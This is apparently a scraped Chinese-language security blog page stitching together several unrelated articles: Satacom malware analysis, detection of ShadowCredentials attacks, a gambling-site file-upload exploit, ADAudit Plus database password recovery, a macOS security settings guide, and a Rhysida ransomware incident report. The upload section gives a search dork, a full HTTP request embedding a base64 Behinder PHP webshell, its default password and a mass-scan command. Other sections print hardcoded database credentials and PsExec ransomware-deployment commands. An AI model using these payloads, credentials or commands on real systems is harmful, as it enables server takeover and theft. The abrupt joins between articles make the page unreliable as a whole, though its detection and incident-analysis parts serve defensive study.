擴展的目的是竊取比特幣並操作目標加密貨幣網站和電子郵件服務，使惡意軟件盡可能隱秘進行，這樣受害者就不會注意到任何有關欺詐交易的信息。由於用於通過特定比特幣錢包的最後一筆交易檢索C2服務器的技術，該擴展可以更新其功能，該技術可以隨時通過對該錢包進行另一筆交易來修改。這允許攻擊者將域URL更改為其他URL，以防被殺毒軟件禁止或阻止。

受害者分析此活動針對世界各地的個人用戶，根據觀察，2023年第一季度，以下國家的用戶最常被攻擊：巴西、阿爾及利亞、土耳其、越南、印度尼西亞、印度、埃及和墨西哥。

總結Satacom是一個下載程序，它仍在運行活動，並由背後的攻擊者開發。這個攻擊者繼續使用各種技術傳播惡意軟件家族，例如通過WordPress網站的廣告插件進行廣告注入。

最近傳播的惡意軟件是基於Chromium的瀏覽器的側載擴展，它在瀏覽器中執行操作，以操作目標加密貨幣網站的內容。這種惡意擴展的主要目的是從受害者那裡竊取加密貨幣，並將其轉移到攻擊者的錢包中。

此外，由於它是一個瀏覽器擴展，因此可以安裝在各種平台上基於Chromium的瀏覽器中。儘管本文中描述的惡意擴展的安裝和攻擊鍊是特定於Windows的，但如果攻擊者想要針對Linux和macOS用戶，只要受害者使用基於Chromium的瀏覽器，他們就可以很容易發起攻擊。

HireHackking

abstract_threat_actor_attribution-1200x600.jpg

TGT是CAS 為用戶簽發的登錄ticket，也是用於驗證用戶登錄成功的唯一方式。 TGT 封裝了Cookie 值以及Cookie 值對應的用戶信息，CAS 通過Cookie 值（TGC）為key 查詢緩存中有無TGT（TGC:TGT（key:value）），如果有的話就說明用戶已經登錄成。

獲得對公司網絡資源的未經授權訪問的最複雜但最有效的方法之一是使用偽造證書進行攻擊。攻擊者創建這樣的證書來欺騙密鑰分發中心(KDC)授予對目標公司網絡的訪問權。此類攻擊的一個示例是ShadowCredential(msDS-KeyCredentialLink屬性)技術，該技術允許攻擊者通過修改受害者的msDS-KeyCredentialLink屬性並向其添加授權證書來登錄用戶帳戶。這種攻擊很難被檢測到，因為攻擊者不是竊取憑證，而是使用合法的Active Directory (AD)機制和配置漏洞。

儘管如此，緩解使用偽造證書的攻擊是可能的。在分析了託管檢測與響應服務MDR的數據後，研究人員確定了網絡中此類攻擊的幾個跡象，並開發了一個能夠查找AD中工件的概念驗證實用程序，以及可以添加到SIEM中的一些檢測邏輯規則。不過，我們有必要首先簡單介紹一下基於證書的Kerberos身份驗證的特點。

AD中的Kerberos身份驗證和實現過程在基於Active Directory的現代企業網絡中，資源管理是通過Kerberos協議執行的。只有當用戶能夠向網絡內的任何服務（對象）提供KDC頒發的票證（下圖中的Msg E）時，用戶才能訪問該對象。發送服務票證的KDC組件稱為票證授予服務器(TGS)。此外，用戶只有在擁有ticket Granting ticket (TGT)(下圖中的Msg B)時才會從KDC接收TGS票證。本質上，TGT是成功的用戶身份驗證的證明，通常虛通過密碼驗證。

1.png

Kerberos身份驗證方案但是，有一種方法可以在不知道密碼的情況下獲得TGT，即使用證書。為此，KDC必須信任所提供的證書，並且該證書必須與TGT中請求的主題相關。 Kerberos的這一部分稱為用於初始身份驗證的公鑰加密(PKINIT)，如果公司網絡中有為域用戶頒發證書的證書頒發機構，那麼設置身份驗證就非常容易。

2.png

但還有另一種方法，例如，要利用Microsoft Hello For Business功能，如基於PIN的授權或人臉識別，不過前提是登錄的設備必須具有自己的AD證書，以便KDC可以基於該證書頒發TGT。但是，並非所有具有活動目錄的網絡都具有證書頒發機構。這就是創建msDS-KeyCredentialLink屬性的原因，可以在其中編寫證書。 KDC將信任該證書並頒發TGT。這是一個很好的解決方案，擴展了Microsoft Active Directory的功能。

然而，基於上述邏輯，將msDS-KeyCredentialLink屬性寫入某個對象的主體也將能夠獲得該對象的票證，這就是問題所在。

攻擊是如何展開的？讓我們舉例說明一種可能的攻擊場景:

1.主體logan_howard對AD域中的任何屬性都有寫入權限，它使用Whisker將公鑰寫入域控制器對象(AD -gam$)的msDS-KeyCredentialLink屬性。

3.png

2.主體接收發送給域控制器的TGT(使用Rubeus工具包)。

4.png

3.在提交此TGT時，主體獲得TGS票證，以同步域(MS-DRSR：目錄複製服務遠程協議)中的密碼信息。

4.作為主體，攻擊者從域管理員帳戶(administrator)“同步”哈希，以冒充管理員，以便獲得對數據的訪問權限並在公司網絡內部橫向移動。這種攻擊稱為DCSync，並使用mimikatz。

5.png

工件查找我們不關注如何讓KDC信任特定的證書，包括被盜的或偽造的證書，而是關注TGT發送時的情況。這會觸發域控制器上的事件4768：請求了Kerberos身份驗證票證(TGT)。該事件可能包含用於身份驗證證書裡的工件，包含三個字段：CertIssuerName、CertSerialNumber和CertThumbprint。這些域是我們接下來要重點介紹的。

為方便起見，我們將在ELK集群的Kibana接口中處理所有事件。默認情況下，Logstash實際上知道如何將Event 4768的位字段轉換為列表中特定於票證的值數組，這也使得搜索更快更順暢。我們建議你參考官方的WinLogBeat設置指南，使用一組Docker配置來快速啟動和運行你的ELK實驗室。

在測試環境中，我們基於使用Whisker生成的偽造證書創建了幾個TGT請求事件。下面是這些事件在測試環境中的示例：

6.png

在MDR服務的框架內，研究人員每週觀察到數十萬個基於證書的票證請求事件。研究人員可以依據這些樣本，分析出一些攻擊模式：

攻擊的很大一部分是由Microsoft Azure Active Directory的基於證書的票證請求組成的（下圖中聚合的“Azure”行）。不過這些都不重要，可以使用Kibana接口中具有CertIssuerName字段值的正則表達式輕鬆地過濾它們。

7.png

還有許多事件用於Microsoft Hello For Business證書(“Hello4B self gen”行)使用的證書。在這種情況下，將證書數據寫入msDS-KeyCredentialLink屬性，並以編程方式生成密鑰(NCRYPT_IMPL_SOFTWARE_FLAG)。它們通常有一個以“CN=”開頭的名稱和一個兩位數的序列號，通常是01。

8.png

如果計算機有一個存儲在受信任的平台模塊中的密鑰（“TPM註冊”行），那麼使用該密鑰的證書也可以用正則表達式來描述，因此我們對此不感興趣。

9.png

但最常見的情況可能是使用Microsoft證書頒發機構頒發的證書（“Windows服務器CS角色頒發”行）。可以在運行Microsoft Windows服務器版本的計算機上啟用此服務。值得注意的是，如果你自己監控本地基礎設施，並且不是MSSP，你會發現通過CertIssuerName值過濾掉這種情況要容易得多——您的CA服務器的名稱(很可能是林中每個域的唯一名稱)。實際上，即使是大型公司網絡也只有相當少的CA能夠頒發證書。但是，即使你是一個MSSP，為了過濾掉所有客戶端PKI服務器的名稱仍然不會有太大麻煩。現在來看其他領域的一些模式。

10.png

此時，也可能存在第三方PKI實現，其證書在頒發票證時受到Kerberos服務器的信任。例如，監控時遇到了Lanaco公司開發的專業軟件。

使用真實數據，讓我們看看可以過濾掉哪些查詢。為此，我們可以使用上述正則表達式構建以下聚合：

11.png

卡巴斯基MDR服務中基於證書的票證請求事件的聚合

查看“Rest”行，其中包含剩餘的未過濾事件(其中13個)，注意CertIssuerName字段。

12.png

未過濾的基於證書的票證請求事件的擴展列表

Whisker代碼分析在如上示例中，證書是在帶有默認參數的Whisker實用程序中生成的。有關生成自簽名證書的過程的描述，請參閱此處。

Whisker試圖將其證書作為Microsoft Hello For Business證書（在程序生成的情況下，是一對密鑰）。但是，原始證書(當Windows PC獨立生成證書以使用此功能時)包含一個錯誤：CertIssuerName字段中的可分辨名稱（DA）表示法使用格式“CN=…”。攻擊者的工具包沒有此錯誤，這是可疑的。

第二和第三行可以與測試台的數據進行比較，但要在MDR產品系統中進行。

13.png

我們可以直接向Kibana添加一個Painless腳本，該腳本可以查找CertIssuerName和TargetAccountName之間不區分大小寫的匹配所導致的所有4768個事件。

14.png

有10個這樣的事件，它們都與Whisker實用程序的使用有關。

15.png

使用票證標誌搜索字段現在，讓我們考慮在任意時間間隔內測試台上的事件中的winlog.event_data.TicketOptionsDescription字段，在此期間，偽造和合法的TGT請求都會發生。

16.png

引人注目的是沒有名稱規範化標誌，這在Kerberos基礎設施中起著重要作用。問題是服務或帳戶可以有多個主名稱。例如，如果一台主機有多個名稱，那麼基於它的服務可能有多個服務主體名稱(Service Principal names, spn)。為了使客戶機不必為每個名稱請求票證，KDC可以在憑據檢索過程中向它提供映射信息。啟用名稱規範化標誌時請求此功能。理論上講，如果設置了“canonicalize”選項，KDC可以在響應和TGT中修改客戶端和服務器的名稱和SPN。但在發現的示例中，卻沒有類似標識，這很可疑。讓我們找到所有使用PKINIT(基於證書)請求但卻沒有此標識的票證。以下是研究人員根據卡巴斯基MDR產品數據創建的請求。

17.png

以上是Whisker + Rubeus在測試台(AD-Gam主機)上的活動(過去30天)以及在測試ADCS設置中的一組漏洞時所做的工作，我們將其合併為ADCS ESC或Certified Pre-Owned。此外，還有一個通過證書名稱過濾的誤報和一個發送到客戶端的事件。

讓我們看看Rubeus的例子，看看為什麼在票證請求中沒有設置名稱規範化標誌。

18.png

事實證明，Rubeus並不是故意進行這個操作的。同樣地，對於使用Kerberos的安全分析人員來說，Impacket是事實上的標準工具包。這就解釋了為什麼會出現上述可以現象。由於代碼的簡單性和流行性，這樣的實用程序非常多。

msDS-KeyCredentialLink屬性我們可以比較兩個屬性：一個是在Hello for Business配置期間合法設置的，另一個是由Whisker設置的。他們之間是有區別的。在比較這些屬性時，研究人員編寫了一個工具，可以讓你從非法屬性設置中找到該工件。

你可以在開發環境中下載並使用此實用程序，調試時，嘗試查找並比較“好”和“壞”屬性中的關鍵差異。

注意事項：

1.msDS-KeyCredentialLink屬性是否具有DeviceId（GUID格式）？如果是這樣，再加上域中沒有具有此ID的對象，那就很可疑了。如果存在這樣一個對象，並且它屬於Azure AD連接器，那麼這可能是一個正常情況；

2正常情況下，Flags字段不包含MFANotUsed，但在合法案件中通常是這樣；

3.KeyMaterial的長度不超過270字節；4.KeyApproximateLastLogonTimeStamp和KeyCreationTime幾乎相同。然而，這一參數不太可靠，最好不要使用。

總結上述攻擊雖然隱蔽性較強，但在使用偽造證書時可以被檢測到。通過本文介紹的基礎設施(理想情況下包括所有活動密鑰的列表)和監控將有助於安全專家進行防護。通過本文介紹的程序還能夠發現使用偽造證書的常見模式和攻擊結果，並簡化搜索過程。

HireHackking

0x01 漏洞描述

网络dubo是指通过互联网手段（非法dubo网站、菠菜App、微信群等）进行的赌博活动。由于网络dubo不合法，资金不受法律保护，有很多“出老千”的行为，很多人被骗后往往不敢报警，导致家破人亡，所以打击dubo，刻不容缓。某菠菜系统系统存在任意文件上传漏洞，攻击者通过漏洞可以上传木马文件，导致服务器失陷。

Image

0x02 漏洞复现

fofa：body="main.e5ee9b2df05fc2d310734b11cc8c911e.css"

1.执行POC，上传冰蝎马，返回上传路径

POST //statics/admin/webuploader/0.1.5/server/preview.php HTTP/2
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
If-Modified-Since: Mon, 05 Sep 2022 01:19:50 GMT
If-None-Match: "63154eb6-273"
Te: trailers
Content-Type: application/x-www-form-urlencoded
Content-Length: 746

data:image/php;base64,PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IAoJJF9TRVNTSU9OWydrJ109JGtleTsKCSRwb3N0PWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkKCXsKCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7CgkJJHBvc3Q9JHQoJHBvc3QuIiIpOwoJCQoJCWZvcigkaT0wOyRpPHN0cmxlbigkcG9zdCk7JGkrKykgewogICAgCQkJICRwb3N0WyRpXSA9ICRwb3N0WyRpXV4ka2V5WyRpKzEmMTVdOyAKICAgIAkJCX0KCX0KCWVsc2UKCXsKCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsKCX0KICAgICRhcnI9ZXhwbG9kZSgnfCcsJHBvc3QpOwogICAgJGZ1bmM9JGFyclswXTsKICAgICRwYXJhbXM9JGFyclsxXTsKCWNsYXNzIEN7cHVibGljIGZ1bmN0aW9uIF9faW52b2tlKCRwKSB7ZXZhbCgkcC4iIik7fX0KICAgIEBjYWxsX3VzZXJfZnVuYyhuZXcgQygpLCRwYXJhbXMpOwo/Pg==s

Image


2.冰蝎连接，得到一个webshell

冰蝎默认连接密码：rebeyond

Image


3.nuclei批量验证脚本已发表于知识星球（存在较多资产）

nuclei.exe -t bocaijngj_upload.yaml -l subs.txt -stats

Image


转载于原文链接： https://mp.weixin.qq.com/s?__biz=MzkyMTMwNjU1Mg==&mid=2247486261&idx=1&sn=2ea324e5b3b895bd500a509bd15ae90f&chksm=c184dfe2f6f356f47a5f80d045fac890227a508488b23898482ce4f9daa91feccc54d2f83629&scene=178&cur_album_id=2581677939042598912#rd


HireHackking

0x00 前言本文記錄從零開始搭建ADAudit Plus漏洞調試環境的細節，介紹數據庫用戶口令的獲取方法。

0x01 簡介本文將要介紹以下內容：

ADAudit Plus安裝

ADAudit Plus漏洞調試環境配置

數據庫用戶口令獲取

0x02 ADAudit Plus安裝1.下載全版本下載地址：https://archives2.manageengine.com/active-directory-audit/

2.安裝安裝參考：https://www.manageengine.com/products/active-directory-audit/quick-start-guide-overview.html3.測試訪問https://localhost:8081

0x03 ADAudit Plus漏洞調試環境配置方法同Password Manager Pro漏洞調試環境配置基本類似

1.開啟調試功能(1)定位配置文件

查看java進程的信息，這里分別有兩個java進程，對應兩個不同的父進程wrapper.exe，如下圖

wrapper.exe的進程參數分別為：

“C:\Program Files\ManageEngine\ADAudit Plus\bin\Wrapper.exe” -c “C:\Program Files\ManageEngine\ADAudit Plus\bin\.\conf\wrapper.conf”

“C:\Program Files\ManageEngine\ADAudit Plus\bin\wrapper.exe” -s “C:\Program Files\ManageEngine\ADAudit Plus\apps\dataengine-xnode\conf\wrapper.conf”

這裡需要修改的配置文件為C:\Program Files\ManageEngine\ADAudit Plus\conf\wrapper.conf

(2)修改配置文件添加調試參數

找到啟用調試功能的位置：

2.png

將其修改為

3.png

注：

序號需要逐個遞增，此處將wrapper.java.additional.3=-Xdebug修改為wrapper.java.additional.25=-Xdebug

(3)重新啟動相關進程

關閉進程wrapper.exe和對應的子進程java.exe

在命令行下執行命令：

微信截图_20230425165255.png

2.常用jar包位置路徑：C:\Program Files\ManageEngine\ADAudit Plus\lib

web功能的實現文件為AdventNetADAPServer.jar和AdventNetADAPClient.jar

3.IDEA設置設置為Remote JVM Debug，遠程調試成功如下圖

4.png

0x04 數據庫用戶口令獲取默認配置下，ADAudit Plus使用postgresql存儲數據，默認配置了兩個登錄用戶：adap和postgres

1.用戶adap的口令獲取配置文件路徑：C:\Program Files\ManageEngine\ADAudit Plus\conf\database_params.conf，內容示例：

5.png 6.png

其中，password被加密，加解密算法位於：C:\Program Files\ManageEngine\ADAudit Plus\lib\framework-tools.jar中的com.zoho.framework.utils.crypto-CryptoUtil.class

經過代碼分析，得出以下解密方法：

密鑰固定保存在C:\Program Files\ManageEngine\ADAudit Plus\conf\customer-config.xml，內容示例：

7.png

得到密鑰：CryptTag為8ElrDgofXtbrMAtNQBqy

根據以上得到的密文cb26b920b56fed8d085d71f63bdd79c55ea7b98f8794699562c06ea1bedbec52087b394f和密鑰8ElrDgofXtbrMAtNQBqy，編寫解密程序，代碼如下：

8.png 9.png 10.png

11.png

程序運行後得到解密結果：Adaudit@123$

拼接出數據庫的連接命令：'C:\Program Files\ManageEngine\ADAudit Plus\pgsql\bin\psql' 'host=127.0.0.1 port=33307 dbname=adap user=adaudit password=Adaudit@123$'

連接成功，如下圖

12.png

2.用戶postgres的口令獲取口令硬編碼於C:\Program Files\ManageEngine\ADAudit Plus\lib\AdventnetADAPServer.jar中的com.adventnet.sym.adsm.common.server.mssql.tools-ChangeDBServer.class-isDBServerRunning()，如下圖

13.png

得到用戶postgres的口令為Stonebraker

拼接出數據庫的連接命令：'C:\Program Files\ManageEngine\ADAudit Plus\pgsql\bin\psql' 'host=127.0.0.1 port=33307 dbname=adap user=postgres password=Stonebraker'

連接成功，如下圖

14.png

一條命令實現連接數據庫並執行數據庫操作的命令示例：'C:\Program Files\ManageEngine\ADAudit Plus\pgsql\bin\psql' --command='SELECT * FROM public.aaapassword ORDER BY password_id ASC;' postgresql://postgres:Stonebraker@127.0.0.1:33307/adap

返回結果示例：

15.png

發現password的數據內容被加密

0x05 小結在我們搭建好ADAudit Plus漏洞調試環境後，接下來就可以著手對漏洞進行學習。

HireHackking

4. 管理防火牆中的外部連接macOS 具有內置防火牆，可以保護應用程序免受未經授權的互聯網訪問。它有助於阻止任何傳入連接並允許訪問您想要的應用程序。

要配置防火牆，請訪問“安全和隱私”首選項窗格中的“防火牆”選項卡：

image.png

圖21. 訪問防火牆配置

然後，單擊“防火牆選項”以配置防火牆。您可以阻止所有傳入連接，以禁止任何人或任何事物連接到macOS。這是最安全的防火牆配置，但某些應用程序在啟用後可能無法提供在線功能。

image.png

圖22. 使用防火牆阻止所有連接

您還可以選擇允許特定應用程序的傳入連接。如果您正在測試客戶端-服務器應用程序並且發現客戶端-服務器連接有任何問題，請檢查防火牆配置並嘗試將您的應用程序添加到允許列表中。

image.png

圖23. 允許通過防火牆進行特定的互聯網連接

5. 指定應用程序的隱私訪問權限某些應用程序需要訪問高級macOS 功能才能正常工作。但惡意應用程序也可能請求訪問這些功能以竊取用戶的個人數據。默認情況下，macOS 會阻止對位置服務、聯繫人、照片、麥克風、設備磁盤、屏幕錄製、藍牙和其他功能的訪問，以保護用戶免受安全威脅。

如果用戶安裝的應用程序請求訪問被阻止的功能，則用戶必須在“安全和隱私”首選項窗格的“隱私”選項卡中提供訪問權限。

image.png

圖24. 為應用程序提供對位置服務的訪問權限

當開發需要訪問敏感功能和資源的應用程序時，請確保在安裝程序中包含訪問請求。該請求可能如下所示：Please grant

6. 配置鑰匙串訪問Keychain Access 是用於密碼管理的默認macOS 應用程序，可存儲用戶的憑據，從而減少用戶必須記住的密碼數量。您可以在應用程序列表的實用程序文件夾中找到鑰匙串訪問。打開它以查找並配置任何存儲的憑據。

image.png

圖25. 訪問Keychain Access 中存儲的憑據

為了保護憑據，此應用程序使用傳輸層安全(TLS)協議和公鑰證書。讓我們來看看它們是如何工作的。

TLS 是一種加密協議，旨在保護計算機網絡中的通信。它廣泛用於使用HTTPS 的應用程序，例如電子郵件、即時消息和IP 語音。

公鑰證書包含有關公鑰、其所有者以及已驗證證書內容的實體的數字簽名的信息。如果簽名有效並且檢查證書的軟件信任頒發者，則它可以使用該密鑰與證書主體進行安全通信。

在電子郵件加密、代碼簽名和電子簽名系統中，證書的主體通常是個人或組織。在TLS 中，證書的主體通常是計算機或其他設備，儘管TLS 證書除了識別設備的核心角色之外還可以識別組織或個人。

如果您嘗試訪問任何受保護的資源，則其證書需要受到macOS 的信任。默認情況下，macOS 有一個受信任的證書列表。如果您想訪問沒有受信任證書的資源，您將看到以下消息：

image.png

圖26. 嘗試訪問沒有受信任證書的資源

只有具有相應憑據的管理員才能將資源添加到鑰匙串訪問。單擊“顯示詳細信息”，然後單擊“訪問網站”以將證書添加到“鑰匙串訪問”。

image.png

圖27. 將資源添加到鑰匙串訪問

之後，您可以打開證書詳細信息並更改證書的設置。

image.png

圖28. 配置證書設置

在開發和測試客戶端-服務器macOS 應用程序時，您需要了解如何使用鑰匙串訪問並管理其中的安全證書。如果您的應用程序在安裝過程中創建了證書，請確保執行以下操作：

當您的應用程序請求管理員訪問權限時，為您的應用程序提供所有權限，然後檢查“鑰匙串訪問”內的證書。

不提供證書安裝的管理員權限，或者不使連接受信任。檢查應用程序安裝過程和應用程序行為。您的應用程序應顯示有關證書問題的通知。此外，它還應該將有關這些問題的信息添加到應用程序日誌中。但是，它不應該崩潰。

當您將應用程序的證書設為不可信或完全刪除該證書時，請檢查應用程序的行為。

通過將macOS 中的日期更改為任何未來日期，使應用程序證書過期。檢查應用程序在這種情況下的行為方式。

請記住，鑰匙串訪問功能在不同的macOS 版本中會發生變化。例如，在macOS 10.15 及更早版本中，您可以通過以超級用戶身份執行以下腳本來使證書受信任：

image.png

在更高版本的macOS 中，您無法執行此操作。此外，在macOS 11 和12 中，即使用戶運行終端命令以使證書受信任，也需要手動批准應用程序證書。這樣做是出於安全原因：未經用戶許可，腳本無法使任何證書受信任。在這些版本的macOS 中，請使用終端命令檢查UI 和靜默安裝選項，因為您可能會在macOS 11 及更高版本上遇到靜默安裝問題。

7. 啟用遠程登錄遠程訪問macOS 允許開發人員重現並修復用戶遇到的問題。操作系統默認提供了訪問遠程系統的功能，因此您無需安裝第三方軟件。

默認情況下，所有遠程訪問功能均處於禁用狀態，但您可以在共享首選項中配置它們。啟用遠程登錄將向您顯示一條消息：

image.png

圖29. 啟用對系統的遠程訪問

使用此命令和您的密碼可以訪問其他用戶的系統。

您還可以在屏幕共享中啟用虛擬網絡計算(VNC) 訪問，這將允許您共享屏幕。當您啟用此功能時，您將看到類似的消息：

image.png

圖30. 通過VNC 服務啟用遠程訪問

請注意，要啟動屏幕共享，您需要打開計算機設置並設置用於訪問系統的密碼。

您可以在遠程管理服務中啟用Apple 遠程桌面。它使您能夠遠程執行任何腳本並使用所有終端功能。您可以從任何操作系統通過Apple Remote Desktop 連接到另一台設備。 Apple 遠程桌面是在互聯網連接速度較慢時建立遠程連接的最佳方式，因為它不加載macOS GUI。

VNC 服務為您提供與macOS GUI 的遠程連接。作為開發人員或QA 工程師，您可以使用VNC 在另一台具有不同macOS 版本的Mac 設備上測試您的應用程序。您還可以連接到最終用戶的macOS 設備並調試應用程序的任何問題。

image.png

圖31. 啟用Apple 遠程桌面

8. 獲取超級用戶訪問權限Root 是超級用戶，可以無限制地訪問所有系統功能和文件。當管理員帳戶無法提供所需的權限級別時，此用戶會很有幫助。例如，管理員無法更改系統文件，但超級用戶可以。您可以通過終端和GUI 獲取root 訪問權限。讓我們看一下終端選項。

當您運行命令並看到“權限被拒絕”消息時，請運行相同的命令，並在其前面加上sudo 一詞。您需要輸入root 密碼，然後命令將被執行而不會出現訪問問題。

要成為終端內的超級用戶而無需在每個命令前輸入sudo，請使用sudo su 命令。您還需要輸入root 密碼。執行此命令後，您將在此終端會話中獲得超級用戶訪問權限。

要通過GUI 獲得超級用戶訪問權限，您需要成為管理員。默認情況下無法以超級用戶身份登錄macOS，但有一個解決方法。在“用戶和組”首選項窗格中打開“登錄選項”，然後單擊“加入”。

image.png

圖32. 更改macOS 中的登錄選項

在打開的表單中，選擇“打開目錄實用程序”，然後單擊左下角的鎖定圖標並輸入管理員憑據。

image.png

圖33. 登錄目錄實用程序

在“目錄實用程序”中，打開“編輯”菜單，選擇“啟用Root 用戶”，然後為root 用戶設置密碼。

image.png

圖34. 通過macOS GUI 啟用root 用戶

現在您可以以root 用戶身份登錄和退出macOS。在登錄屏幕上，選擇“其他”，輸入“root”作為用戶名，然後輸入您為root 帳戶創建的密碼。

image.png

圖35. 登錄root 帳戶

如果您的應用程序具有需要root 訪問權限才能工作的功能，請檢查在用戶沒有root 訪問權限時這些功能的執行情況。理想情況下，在這種情況下，應用程序應顯示有關權限問題的消息，將此信息添加到其日誌中，並繼續工作而不會崩潰。

結論macOS 具有一組強大的內置安全功能，macOS 開發人員需要了解這些功能並正確配置以保護其係統和應用程序。此外，Apple 經常重新設計和改進這些安全功能，因此在新的macOS 版本中，您需要確保您的軟件能夠在最新版本中正常運行。

HireHackking

微信截图_20230810151646.png

Rhysida勒索軟件組織於今年5月首次被披露，自那時起，它就與幾起影響巨大的攻擊事件有關，其中包括對智利軍隊的攻擊。最近，該組織還與針對Prospect Medical Holdings的攻擊有關，影響了美國的17家醫院和166家診所。在這次攻擊之後，美國衛生與公眾服務部將Rhysida定義為對醫療保健行業的重大威脅。

在分析最近一起針對教育機構的Rhysida勒索軟件事件時，Check Point事件響應小組（CPRT）與Check Point Research（CPR）合作，觀察到了一套獨特的技術、戰術和工具（TTP）。在分析中，研究人員發現了它與另一個勒索軟件組織Vice Society的TTP有顯著相似之處。 Vice Society是自2021年以來最活躍、最具攻擊性的勒索軟件組織之一，主要針對教育和醫療保健行業。

例如，在2022 年期間，該組織襲擊了33 個教育機構，超過LockBit、BlackCat、BianLian 和Hive 等其它勒索軟件組織。自2021 年5 月開始活躍以來，Vice Society 與其它勒索軟件組織主要區別在於其不使用自己的勒索軟件變體，而是依賴於地下論壇上出售的HelloKitty 和Zeppelin 等預先存在的勒索程序二進製文件。微軟曾以DEV-0832 的名義追踪過該組織活動軌跡，發現在某些情況下，Vice Society 盡量避免部署勒索軟件直接勒索，而是利用竊取的數據進行勒索。

鑑於Vice Society與Rhysida之間存在聯繫，有必要找到這種聯繫的技術證據。分析顯示，這兩個組織在技術上層面存在相似性，以及Rhysida的出現和Vice Society的消失之間存在明顯關聯。此外，這兩個組織共同關注的目標都是教育和醫療保健行業。

據觀察，Vice Society部署了各種商用勒索軟件有效負載，所以Rhysida並不等同於Vice Society，但至少表明Vice Society運營商現在正在使用Rhysida勒索軟件。

戰術、技術和程序由於之前對Rhysida勒索軟件有效負載進行了徹底的分析，我們將重點關注導致其部署的TTP，特別是橫向移動、憑證訪問、防禦規避、指揮和控制以及影響。

根據我們掌握的證據，使用Rhysida勒索軟件的攻擊者的贖金時間(TTR)相對較低。從最初出現橫向移動的跡像到勒索軟件的廣泛部署，只有8天時間。

橫向活動攻擊者使用多種工具進行橫向活動，包括：

1.遠程桌面協議（Remote Desktop Protocol ）——在整個攻擊過程中，攻擊者啟動了RDP連接，並採取額外步驟故意刪除相關的日誌和註冊表項，以避免被檢測到，加強研究人員的分析工作。 RDP仍然是在環境中進行橫向移動的有效方法。

2.遠程PowerShell會話（WinRM）——當通過RDP遠程連接時，可以發現攻擊者正在啟動與環境中服務器的遠程PowerShell連接。這種情況發生在部署勒索軟件負載之前的幾天。

3.PsExec——勒索軟件有效負載本身是使用PsExec從環境中的服務器部署的。部署分兩個階段進行。

3.1 使用命令PsExec.exe -d \\VICTIM_MACHINE -u 'DOMAIN\ADMIN' -p 'Password' -s cmd /c COPY '\\path_to_ransomware\payload.exe' 'C:\windows\temp'複製惡意負載；

3.2 使用命令PsExec.exe -d \\VICTIM_MACHINE -u 'DOMAIN\ADMIN'' -p 'Password' -s cmd /c c:\windows\temp\payload.exe執行惡意負載。

憑據訪問最值得注意的是，攻擊者使用ntdsutil.exe來創建NTDS的備份。將其放入名為temp_l0gs的文件夾中。此路徑被攻擊者多次使用。除此之外，攻擊者還列舉了域管理員帳戶，並試圖使用其中一些帳戶登錄。

指揮與控制攻擊者利用了幾個後門和工具來實現持久性攻擊，包括：

1.SystemBC：在一個成功的PowerShell會話中，攻擊者執行一個SystemBC PowerShell植入，它通過安裝一個名為socks的註冊表運行項來在啟動時執行腳本以維護持久性。植入程序的域為5.255.103[.]7。此外，攻擊者設置了名為Windows Update的防火牆規則，以允許向另一台服務器5.226.141[.]196發送流量。

2.AnyDesk：通過遠程管理工具AnyDesk觀察到該攻擊者。

逃避檢測在整個活動過程中，攻擊者始終在其活動之後刪除日誌和取證工件。這包括：

1.刪除最近使用的文件和文件夾的歷史記錄；

2.刪除最近執行的程序列表；

3.刪除文件資源管理器中最近輸入的路徑的歷史記錄；

4.刪除PowerShell控制台歷史文件；

5.刪除當前用戶臨時文件夾中的所有文件和文件夾；

6.在RDP會話之後，攻擊者還通過以下方式刪除了RDP特定的日誌：

7.在Windows註冊表中的“HKCU:\Software\Microsoft\Terminal Server Client”下搜索所有子項，並刪除每個子項的“UsernameHint”值（如果存在）；

8.刪除用戶Documents文件夾中的Default.rdp；

影響在勒索軟件部署當天，攻擊者會利用AnyDesk提供的訪問權限，使用PsExec在環境中廣泛部署的勒索軟件有效負載：

1.刪除帳戶訪問權限（Account Access Removal）——攻擊者啟動了對域中數万個帳戶的密碼更改，以加強修復工作；

2.禁止系統恢復（Inhibit System Recovery）：在部署勒索軟件負載之前，攻擊者試圖部署具有多種功能的PowerShell腳本，包括：

2.1 將所有本地密碼更改為預定義密碼；

2.2阻止與數據庫系統、備份軟件、安全產品相關的業務；

2.3禁用Windows Defender並阻止其運行；

2.4使用wmic.exe和vssadmin.exe刪除卷影副本；

2.5將默認RDP端口更改為4000並為其創建防火牆規則；

2.6刪除所有Windows事件日誌和PowerShell歷史記錄。

3.數據加密：如上所述，攻擊者最終使用PsExec部署了Rhysida勒索軟件有效負載。

與Vice Society的關係在研究人員對Rhysida勒索軟件TTP和基礎設施的分析中，發現了與另一個臭名昭著的勒索軟件組織Vice Society的幾個相似之處，並且觀察到隨著時間的推移勒索軟件有效負載的變化。有人提出Vice Society和Rhysida之間可能存在聯繫。接下來，我們將提供支持這一說法的其他證據。

技術、工具和基礎設施上面描述的許多技術與之前由微軟和Intrinsec描述的Vice Society攻擊高度相關。其中一些可能對勒索軟件運營商來說很通用，但卻以非常具體的方式被利用，包括不常見的特定路徑：

1.使用NTDSUtil創建一個NTDS.dit備份到一個名為temp_l0gs的文件夾。據觀察，Vice Society也使用了同樣的路徑。

2.使用名為Windows Update的New-NetFirewallRule創建本地防火牆規則，以便於使用惡意軟件SystemBC進行流量中繼。 SystemBC是通過存儲在值socks下的註冊表Run項執行的。

3.在部署勒索軟件有效負載之前，啟動整個域的密碼更改過程；

